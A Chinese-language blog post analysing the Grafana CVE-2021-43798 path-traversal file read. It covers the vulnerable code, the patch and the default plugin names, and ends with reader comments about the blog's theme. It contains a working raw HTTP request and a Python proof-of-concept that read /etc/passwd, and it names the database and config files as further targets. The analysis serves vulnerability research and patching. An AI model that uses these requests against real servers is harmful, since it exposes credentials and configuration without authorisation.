CVE-2021-43798 Grafana 任意文件读取漏洞分析
文章最后更新时间为:2021年12月08日 20:14:50
1.漏洞描述
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。只要给它输入一段数据流,就可以进行各种数据图表展示,总之很炫酷。之前也用过一段时间的grafana,安全态势感知必备,(手动dog)
2021-12-07,CVE-2021-43798利用详情被公开爆出,未授权用户也可以读取任意文件。这个任意文件读,其实不能直接getshell,但是可以配合读取配置文件和其他漏洞,进行综合利用。
2.漏洞版本
v8.0.0-beta1 到 v8.3.0
这个版本不是特别严谨,因为涉及到小版本的修复,可以看官方通告:https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
3.漏洞分析
根据官方的发布说明,8.3.1修复了这个漏洞,那么我们直接看8.3.1和8.3.0的diff就行,这一次的修复只动了pkg/api/plugins.go文件
直接定位到这个函数:getPluginAssets,根据说明这个函数是为了获取插件的静态资源
函数中使用了下面两行来获取资源的位置:
requestedFile := filepath.Clean(web.Params(c.Req)["*"]) 获取参数
其中filepath.Clean仅用于清理path中多余的字符
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) 拼接目录
可以看出在获取文件路径后,并没有对参数做更多的处理,当我们传入类似于../../../etc/pass
的路径时,就会被拼接到pluginFilePath
参数中,然后读取该资源,当做response返回。
任意文件读的漏洞点就这么简单,接下来看看该路由的权限,直接向上看getPluginAssets的路由来源,在pkg/api/api.go中:
直接使用了r.Get()
并没有做任何的中间件,也并没有身份认证。
所以综上我们只要知道一个存在的pluginId,然后调用/public/plugins/:pluginId/*
就可以访问任意文件,比如/public/plugins/:pluginId/../../../../../etc/passwd
。
接下来看下修复补丁是怎么处理的,在pkg/api/plugins.go文件中:
// prepend slash for cleaning relative paths
requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
rel, err := filepath.Rel("/", requestedFile)
if err != nil {
// slash is prepended above therefore this is not expected to fail
c.JsonApiErr(500, "Failed to get the relative path", err)
return
}
if !plugin.IncludedInSignature(rel) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
absPluginDir, err := filepath.Abs(plugin.PluginDir)
if err != nil {
c.JsonApiErr(500, "Failed to get plugin absolute path", nil)
return
}
pluginFilePath := filepath.Join(absPluginDir, rel)
其中最主要的是加了一行
rel, err := filepath.Rel("/", requestedFile)
Rel函数返回一个相对路径,通俗一点说就是func Rel(basepath, targpath string) (string, error)
的返回值等于targpath 减去 basepath
。看下面的例子就清楚了:
package main
import (
"fmt"
"path/filepath"
)
func main() {
paths := []string{
"./a/b/c",
"/b/c",
"/../b/c",
}
base := "/"
fmt.Println("On Unix:")
for _, p := range paths {
rel, err := filepath.Rel(base, p)
fmt.Printf("%q: %q %v\n", p, rel, err)
}
}
Output:
On Unix:
"./a/b/c": "" Rel: can't make ./a/b/c relative to /
"/b/c": "b/c" <nil>
"/../b/c": "b/c" <nil>
这样我们就无法实现路径穿越了。
4.漏洞复现
首先我们需要找到一个插件,当然了grafana开源的插件就那么多,可以遍历一遍就行,默认安装的插件有下面40个:
alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin
然后就可以任意文件读了
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.112:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
saucerframe poc:
from plugin.target_parse import get_standard_url
from lib.core.Request import request
def poc(url):
plugins = ["cloudwatch","dashlist","elasticsearch","graph","graphite","heatmap","influxdb","mysql","opentsdb","pluginlist","postgres","prometheus","stackdriver","table","text"]
base = get_standard_url(url)
for plugin in plugins:
vuln_url = f"{base}/public/plugins/{plugin}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd"
try:
r = request.get(vuln_url, verify=False, timeout=5)
if r.status_code == 200 and "root:x:" in r.text:
return vuln_url
except:
pass
return False
此外还可以读数据库文件/var/lib/grafana/grafana.db,但是有salt和random,破解是很难破解的:
读配置文件:/etc/grafana/grafana.ini
5.修复建议
升级到最新版本即可。
您好,看到您博客十分漂亮,我也去安装了相同主题,但发现依然以下几处稍有不同,
1.您的首页搜索框比原版醒目
2.文章具有密码访问功能
3.文章头有“最后更新时间”信息
4.页面宽度比原版更宽
5.文章底部祛去除了“本文链接”
如果是您自己修改了主题,不知是否可以请您把修改后的模板放出来?希望您能在百忙之中解答一下。
@xiaolin 我是自己改的源码,修改后的模板不好放出来。密码功能是typecho自带的,其他功能看看源码很简单的哈
@saucerman 好的,感谢您的回复